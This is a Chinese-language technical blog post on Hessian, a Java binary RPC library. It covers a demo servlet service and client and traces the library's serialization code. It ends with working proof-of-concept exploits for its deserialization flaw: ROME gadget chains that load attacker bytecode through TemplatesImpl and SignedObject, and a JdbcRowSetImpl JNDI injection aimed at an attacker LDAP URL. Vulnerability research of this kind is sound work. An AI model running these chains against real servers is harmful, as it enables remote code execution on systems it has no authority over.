目录

Hessian 反序列化

Hessian 反序列化


Hessian 概述

hessian 是个轻量级的远程 http 工具,采用 binaray Rpc 协议,适合发送二进制数据,同时具有防火墙穿透功能,hessian 一般通过 web 应用来提供服务。一句话说就是 Hessian 是一个基于 http 的二进制 rpc 轻量级工具。

什么是 RPC 呢?Remote Procedure Call Protocol,远程过程调用,RPC 它以标准的二进制格式来定义请求的信息(请求对象、方法、参数等),这种方法传输信息的优点之一就是跨语言及操作系统。

在面向对象编程范式下,RMI 其实就是 RPC 的一种具体实现,PRC 协议的一次远程通信过程:

  1. 客户端发起请求,并且按照 RPC 协议格式填充信息
  2. 填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
  3. 服务端接收到流后,将其转换为二进制格式文件,并且按照 RPC 协议格式获取请求的信息并进行处理
  4. 处理完毕后将结果按照 RPC 协议格式写入二进制格式文件中并返回

远程调用示例

基于 Servlet 项目

先创建个一个提供服务的 api 接口,也就是接口类

package org.example;  
  
public interface Greeting {  
    String sayHello();  
}

然后需要创建服务端,这里通过继承 com.caucho.hessian.server.HessianServlet 类来把服务端注册为 servlet 进行服务交互。需要在 WEB-INF 中创建 lib 目录,然后在 lib 中引入依赖。

import com.caucho.hessian.server.HessianServlet;  
  
public class Server extends HessianServlet implements Greeting{  
    @Override  
    public String sayHello() {  
        return "gaorenyusi";  
    }  
}

然后配置 web.xml ,为服务端设置映射,映射后访问路径 /gaoren 就会触发 servlet 服务

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>hesian</servlet-name>
        <servlet-class>Server</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>hesian</servlet-name>
        <url-pattern>/gaoren</url-pattern>
    </servlet-mapping>
</web-app>

启动一下,访问:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241220224129335.png

然后写个客户端进行调用,

package org.example;  
  
import com.caucho.hessian.client.HessianProxyFactory;  
  
public class Main {  
    public static void main(String[] args) throws Exception {  
        String url = "http://localhost:8088/test/gaoren";  
        HessianProxyFactory hessianProxyFactory = new HessianProxyFactory();  
        Greeting hello = (Greeting) hessianProxyFactory.create(Greeting.class, url);  
  
        System.out.println(hello.sayHello());  
    }  
}

通过 com.caucho.hessian.client.HessianProxyFactory 工厂类创建对接口的代理对象来进行调用,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241220224442559.png


远程调用源码分析

客户端处理

HessianProxyFactory hessianProxyFactory = new HessianProxyFactory();  

工厂类的实例化,主要是初始化类加载器已经相应的 resovler 对象, resovler 对象就是设置好相应的代理工厂。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241220225239047.png

接着调用 create 方法创建接口代理类,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222172232121.png

实例化了 HessianProxy 对象,该类实现了 InvocationHandler 接口,然后返回一个代理对象。最后调用代理对象的方法,

System.out.println(hello.sayHello());

这样就会调用到 HessianProxy.invoke 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222173403734.png

然后对方法进行一些处理比较,最后把方法信息放入 _mangleMap

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222173805711.png

sendRequest 方法

然后紧接着就调用 sendRequest 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222173920433.png

跟进,首先通过 getConnectionFactory() 方法获得了负责连接的工厂类,然后调用这个类的 open 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222180706280.png

这个 open 方法是向指定的 URL 发送请求。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222181529691.png

最后这个成功连接的 URLConnection 对象会被封装进 HessianURLConnection 对象中作为返回

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222181616245.png

然后回到 invoke 方法中,又调用了 addRequestHeaders 方法,该方法就是添加 header 头,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222181715959.png

然后接着 call 方法将方法调用的信息写入流中,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222181852440.png

最后调用 conn.sendRequest(); 发起请求,服务端从信息流中获得调用方法,最后进行远程调用并返回调用结果。

继续回到 invoke 方法,获取返回的 HessianURLConnection 对象的 input 流,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222182520420.png

readReply 方法

然后通过 readReply 方法来获得返回的结果,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222184004672.png

跟进发现这里面调用了 readobject 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222184814962.png

继续跟进,看到在最后存在反序列化。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222184958567.png

进入其中,根据返回类型来分别调用不同方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222185210205.png

最后返回结果。

服务端处理

com.caucho.hessian.server.HessianServlet 类是 javax.servlet.http.HttpServlet 的一个子类,其 service 方法是相关出处理起始位置,跟进 service 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222205656609.png

看到会先判断是不是 POST 方法,如果满足条件会继续下面操作。这里会调用 HessianSkeleton#invoke 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222212641775.png

跟进,会根据获得 header 来选择混用模式,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222213022998.png

然后调用到 invoke 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222213335533.png

在这里面会先反射调用接受到的要调用的方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222220146861.png

然后返回执行结果,最后会执行 writeReply 方法把返回结果进行序列化写入输出流中。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222220233463.png https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222220316904.png https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241222220319288.png

封装调用

除了结合 servlet 进行 web 远程调用外,还可以直接把关键序列化反序列化类提取出来进行封装,同样可以实现 hessian 的序列化和反序列化。

写个简单的 javabean 类

package org.example;  
import java.io.Serializable;  
  
public class Person implements Serializable {  
    private String name;  
    private int age;  
    private String telNumber;  
  
    public Person() { }  
  
    public Person(String name, int age, String telNumber) {  
        this.name = name;  
        this.age = age;  
        this.telNumber = telNumber;  
    }  
  
    public String getName() { return name; }  
  
    public void setName(String name) { this.name = name; }  
  
    public int getAge() { return age; }  
  
    public void setAge(int age) { this.age = age; }  
  
    public String getTelNumber() { return telNumber; }  
  
    public void setTelNumber(String telNumber) { this.telNumber = telNumber; }  
}

然后进行序列化反序列化

package org.example;  
import com.caucho.hessian.io.HessianInput;  
import com.caucho.hessian.io.HessianOutput;  
  
import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.util.Base64;  
  
public class hessian_test {  
    public static void main(String[] args) throws IOException {  
        Person person = new Person("gaoren",100,"123");  
  
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);  
        hessianOutput.writeObject(person);  
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));  
  
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());  
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);  
        System.out.println(hessianInput.readObject());  
    }  
}

Hessian 反序列化

Hessian1.0 源码分析

序列化

跟进 hessianOutput.writeObject,如果 serializer 对象为 null,会调用 _serializerFactory.getSerializer 来获取 serializer 对象

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103171300540.png

简单跟进看看,会先看 _cachedSerializerMap 是否为 null,如果为 null 就调用 loadSerializer 来进行获取 serializer 对象,然后把 serializer 对象加进 Map 缓存也就是 _cachedSerializerMap 中,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103172042658.png

继续看看 loadSerializer 方法,调用 _contextFactory.getSerializer 方法,如果 serializer 还是 null 的话继续调用 factory.getCustomSerializer

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103172906474.png https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103173112135.png

如果还是为 null,就会对 class 进行类型判断返回相应的 serializer 对象

if (HessianRemoteObject.class.isAssignableFrom(cl)) {  
    return new RemoteSerializer();  
  }  
  else if (BurlapRemoteObject.class.isAssignableFrom(cl)) {  
    return new RemoteSerializer();  
  }  
  else if (InetAddress.class.isAssignableFrom(cl)) {  
    return InetAddressSerializer.create();  
  }  
  else if (JavaSerializer.getWriteReplace(cl) != null) {  
    Serializer baseSerializer = getDefaultSerializer(cl);  
      
    return new WriteReplaceSerializer(cl, getClassLoader(), baseSerializer);  
  }  
  else if (Map.class.isAssignableFrom(cl)) {  
    if (_mapSerializer == null)  
      _mapSerializer = new MapSerializer();  
  
    return _mapSerializer;  
  }  
  else if (Collection.class.isAssignableFrom(cl)) {  
    if (_collectionSerializer == null) {  
      _collectionSerializer = new CollectionSerializer();  
    }  
  
    return _collectionSerializer;  
  }  
  
  else if (cl.isArray())  
    return new ArraySerializer();  
  
  else if (Throwable.class.isAssignableFrom(cl))  
    return new ThrowableSerializer(cl, getClassLoader());  
  
  else if (InputStream.class.isAssignableFrom(cl))  
    return new InputStreamSerializer();  
  
  else if (Iterator.class.isAssignableFrom(cl))  
    return IteratorSerializer.create();  
  
  else if (Calendar.class.isAssignableFrom(cl))  
    return CalendarSerializer.SER;  
    
  else if (Enumeration.class.isAssignableFrom(cl))  
    return EnumerationSerializer.create();  
  
  else if (Enum.class.isAssignableFrom(cl))  
    return new EnumSerializer(cl);  
  
  else if (Annotation.class.isAssignableFrom(cl))  
    return new AnnotationSerializer(cl);  
  
  return getDefaultSerializer(cl);  
}

对于自定义的对象就会走到 getDefaultSerializer 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103173845743.png

会先判断是否继承了 Serializable 接口以及 _isAllowNonSerializable 是否为 true,如果不满足条件就会抛出异常。满足后就会 UnsafeSerializer.create 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103174708280.png

跟进 UnsafeSerializer(cl)

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103174852144.png

introspect 中就是将对象属性进行一个封装。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103175051578.png

最后添加进 _serializerMap

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103175213965.png

最后回到 writeObject 方法,调用 serializer.writeObject 进行序列化。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103175351179.png

一路跟进,调用到了 writeMapBegin 方法,将 M 设置为标识位,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103175940985.png

最后调用 writeObject10 将对象属性写入字节流。

反序列化

同样先跟进 hessianInput.readObject() 方法,通过不同的标识位来选择

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103181112868.png

这里是 M ,继续跟进

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103181313486.png

调用了 getDeserializer 方法来获得 deserializer 对象,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103183324212.png

还是会先看 Map 缓存中有没有,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103185820493.png

没有继续调用 getDeserializer 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103185941734.png

而在 getDeserializer 方法中又调用了 loadDeserializer 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103190010588.png

这里就和序列化逻辑非常相似,先后调用 _contextFactory.getDeserializerfactory.getCustomDeserializer 两个方法来获得 deserializer 对象,如果还是为 null,那么就会对 cl 对象进行类型判断,返回相应的 deserializer 对象,自定义对象默认调用 getDefaultDeserializer 方法,

if (Collection.class.isAssignableFrom(cl))  
    deserializer = new CollectionDeserializer(cl);  
  
  else if (Map.class.isAssignableFrom(cl)) {  
    deserializer = new MapDeserializer(cl);  
  }  
  else if (Iterator.class.isAssignableFrom(cl)) {  
    deserializer = IteratorDeserializer.create();  
  }  
  else if (Annotation.class.isAssignableFrom(cl)) {  
    deserializer = new AnnotationDeserializer(cl);  
  }  
  else if (cl.isInterface()) {  
    deserializer = new ObjectDeserializer(cl);  
  }  
  else if (cl.isArray()) {  
    deserializer = new ArrayDeserializer(cl.getComponentType());  
  }  
  else if (Enumeration.class.isAssignableFrom(cl)) {  
    deserializer = EnumerationDeserializer.create();  
  }  
  else if (Enum.class.isAssignableFrom(cl))  
    deserializer = new EnumDeserializer(cl);  
  
  else if (Class.class.equals(cl))  
    deserializer = new ClassDeserializer(getClassLoader());  
  
  else  
    deserializer = getDefaultDeserializer(cl);  
  
  return deserializer;  
}

在这里又会返回 UnsafeDeserializer 对象,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103190514916.png

回到 readMap,继续调用 UnsafeDeserializer.readMap 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103190719823.png

会调用到 allocateInstance 方法,该方法是还原对象

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103191035797.png

还原了对象后,继续调用 readMap 还原属性

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103192109605.png

其中调用 _unsafe.putObject 进行赋值,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103192243487.png

最后返回 resolve

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103192354647.png

Hessian2.0 源码分析

序列化

需要把上面代码中的 HessianOutput/HessianInput 换为 Hessian2Ouput/Hessian2Input 这两个类。

还是跟进 hessian2Output.writeObject 方法,然后跟进 getSerializer 方法,其实逻辑差不多,最后还是返回个 UnsafeSerializer 对象,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103193351732.png

继续跟进 UnsafeSerializer.writeObject 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103193559808.png

同样会调用到 writeObjectBegin 方法,只不过不会继续调用 writeMapBegin 方法了,这里会把 C 作为标识位

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103194202970.png https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103194418007.png

然后继续调用 writeString 方法序列化对象,调用 writeDefinition20 序列化属性。

反序列化

跟进 hessian2Input.readObject(),调用 readObjectDefinition 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103194738161.png

又是 getObjectDeserializer

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103195300346.png

还是一路跟踪,来到 getDefaultDeserializer 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103195349215.png

最后就是返回一个 UnsafeDeserializer 还原对象,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250103195415902.png

剩下的其实就是上面一样的属性还原了。


Hessian 反序列化漏洞

这里的漏洞关键其实在 MapDeserializer#readMap

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250104200249085.png

首先会创建一个Map对象,然后将 keyvalue 分别反序列化put进map中,而 HashMap#put 中可以触发到 key#hashcode

rome 链二次反序列化

Gadget
hessianInput.readObject()
	MapDeserializer.readMap()
		map.put()
			ObjectBean.hashCode()
				ToStringBean.toString()
					SignedObject.getObject()
					 ···

常用的 rome 链就是可以通过 hashcode 进行触发,简单更改 poc 得到,

package org.example;  
  
import com.caucho.hessian.io.HessianInput;  
import com.caucho.hessian.io.HessianOutput;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.syndication.feed.impl.ObjectBean;  
import com.sun.syndication.feed.impl.ToStringBean;  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.lang.reflect.Field;  
  
  
public class rometest {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
//        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        ToStringBean tobean = new ToStringBean(Templates.class,new HashMap<>());  
  
        ObjectBean bean = new ObjectBean(ToStringBean.class,tobean);  
  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(bean,"gaoren");  
  
        Field v = tobean.getClass().getDeclaredField("_obj");  
        v.setAccessible(true);  
        v.set(tobean, tem);  
  
        deserilize(serilize(hashmap));  
    }  
    public static byte[] serilize(Object o) throws IOException {  
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);  
        hessianOutput.writeObject(o);  
        return byteArrayOutputStream.toByteArray();  
    }  
  
    public static Object deserilize(byte[] bytes) throws IOException {  
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);  
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);  
        return hessianInput.readObject();  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

但是运行报错

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250104200506304.png

原因在 TemplatesImpl 中的 _tfactory 是一个 transient,无法参与序列化与反序列化,所以为 null,导致最后调用 TransletClassLoader 类实例化时报错,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250104200552187.png

因为在 TemplatesImpl 的 readobject 方法中会给 _tfactory 赋值,所以这里可以打二次反序列化,

package org.example;  
  
import com.caucho.hessian.io.HessianInput;  
import com.caucho.hessian.io.HessianOutput;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.syndication.feed.impl.ObjectBean;  
import com.sun.syndication.feed.impl.ToStringBean;  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.security.KeyPair;  
import java.security.KeyPairGenerator;  
import java.security.Signature;  
import java.security.SignedObject;  
import java.util.HashMap;  
import java.lang.reflect.Field;  
  
  
public class rometest {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        ToStringBean tobean = new ToStringBean(Templates.class,tem);  
        ObjectBean bean = new ObjectBean(ToStringBean.class,tobean);  
        HashMap<Object,Object> hashmap1 = new HashMap<>();  
        hashmap1.put(bean,"gaoren");  
  
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");  
        kpg.initialize(1024);  
        KeyPair kp = kpg.generateKeyPair();  
        SignedObject signedObject = new SignedObject(hashmap1, kp.getPrivate(), Signature.getInstance("DSA"));  
  
        ToStringBean tobean2 = new ToStringBean(SignedObject.class,new HashMap<>());  
        ObjectBean objectBean = new ObjectBean(ToStringBean.class,tobean2);  
        HashMap hashmap2 = new HashMap();  
        hashmap2.put(objectBean, "gaoren");  
        Field v = tobean2.getClass().getDeclaredField("_obj");  
        v.setAccessible(true);  
        v.set(tobean2, signedObject);  
  
        deserilize(serilize(hashmap2));  
    }  
    public static byte[] serilize(Object o) throws IOException {  
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);  
        hessianOutput.writeObject(o);  
        return byteArrayOutputStream.toByteArray();  
    }  
  
    public static Object deserilize(byte[] bytes) throws IOException {  
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);  
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);  
        return hessianInput.readObject();  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250104214449373.png

rome+jdbcRowSetImpl

Gadget
hessianInput.readObject()
	MapDeserializer.readMap()
		hashmap.put()
			ObjectBean.hashCode()
				ToStringBean.toString()
					JdbcRowSetImpl.setautoCommit()
						JdbcRowSetImpl.connect()
							jndixxxx.lookup()
					 ···

JdbcRowSetImpl 可以打 jndi 注入,具体分析就不用说了,

EXP

import com.caucho.hessian.io.HessianInput;  
import com.caucho.hessian.io.HessianOutput;  
import com.sun.rowset.JdbcRowSetImpl;  
import com.sun.syndication.feed.impl.EqualsBean;  
import com.sun.syndication.feed.impl.ToStringBean;  
  
import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.io.Serializable;  
import java.lang.reflect.Array;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
  
public class Main implements Serializable {  
public static void main(String[] args) throws Exception {  
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();  
String url = "ldap://127.0.0.1:1389/Exploit";  
jdbcRowSet.setDataSourceName(url);  
  
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);  
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);  
//手动生成HashMap,防止提前调用hashcode()  
HashMap hashMap = makeMap(equalsBean,"114514");  
  
byte[] s = Hessian_serialize(hashMap);  
Hessian_unserialize(s);  
}  
  
//hessian依赖的序列化  
public static byte[] Hessian_serialize(Object o) throws IOException {  
ByteArrayOutputStream baos = new ByteArrayOutputStream();  
HessianOutput hessianOutput = new HessianOutput(baos);  
hessianOutput.writeObject(o);  
hessianOutput.flush();  
return baos.toByteArray();  
}  
  
//hessian依赖的反序列化  
public static Object Hessian_unserialize(byte[] bytes) throws IOException {  
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);  
HessianInput hessianInput = new HessianInput(bais);  
Object o = hessianInput.readObject();  
return o;  
}  
  
public static void setValue(Object obj, String name, Object value) throws Exception{  
Field field = obj.getClass().getDeclaredField(name);  
field.setAccessible(true);  
field.set(obj, value);  
}  
  
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {  
HashMap<Object, Object> s = new HashMap<>();  
setValue(s, "size", 2);  
Class<?> nodeC;  
try {  
nodeC = Class.forName("java.util.HashMap$Node");  
}  
catch ( ClassNotFoundException e ) {  
nodeC = Class.forName("java.util.HashMap$Entry");  
}  
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);  
nodeCons.setAccessible(true);  
  
Object tbl = Array.newInstance(nodeC, 2);  
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));  
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));  
setValue(s, "table", tbl);  
return s;  
}  
}

总结

其实就是 heesian2 的 readobject 可以触发 hashmap.put 方法再里面可以触发 equales 和 hashcode 方法,还有一些其他链就懒得分析了,工具 marshalsec 也有具体利用链。